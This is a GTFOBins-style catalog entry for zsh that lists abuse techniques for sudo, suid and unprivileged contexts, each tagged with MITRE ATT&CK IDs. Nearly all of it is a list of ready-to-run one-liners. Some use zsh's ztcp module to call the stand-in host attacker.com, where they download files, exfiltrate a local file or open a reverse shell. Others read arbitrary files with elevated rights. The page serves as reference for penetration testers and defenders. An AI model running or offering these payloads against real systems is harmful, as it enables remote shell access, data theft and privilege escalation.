Catalog GTFOBins

GTFO · Tool

zsh

24 techniques Linux · macOSGTFOBins GPL-3.0
download
File DownloadPrivilege Escalation LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
Context
sudo
Native
download
MITRE
T1105
download
File DownloadPrivilege Escalation LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
Context
suid
Native
download
MITRE
T1105
download
File Download LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
Context
unprivileged
Native
download
MITRE
T1105
file-read
File ReadPrivilege Escalation LinuxmacOS

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'
Context
sudo
Native
file-read
MITRE
T1005
file-read
File ReadPrivilege Escalation LinuxmacOS

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'
Context
suid
Native
file-read
MITRE
T1005
file-read
File Read LinuxmacOS

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'
Context
unprivileged
Native
file-read
MITRE
T1005
reverse-shell
Reverse/Bind ShellPrivilege Escalation LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Context
sudo
Native
reverse-shell
reverse-shell
Reverse/Bind ShellPrivilege Escalation LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Context
suid
Native
reverse-shell
reverse-shell
Reverse/Bind Shell LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Context
unprivileged
Native
reverse-shell
upload
File UploadPrivilege Escalation LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
Context
sudo
Native
upload
MITRE
T1041
upload
File UploadPrivilege Escalation LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
Context
suid
Native
upload
MITRE
T1041
upload
File Upload LinuxmacOS
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
Context
unprivileged
Native
upload
MITRE
T1041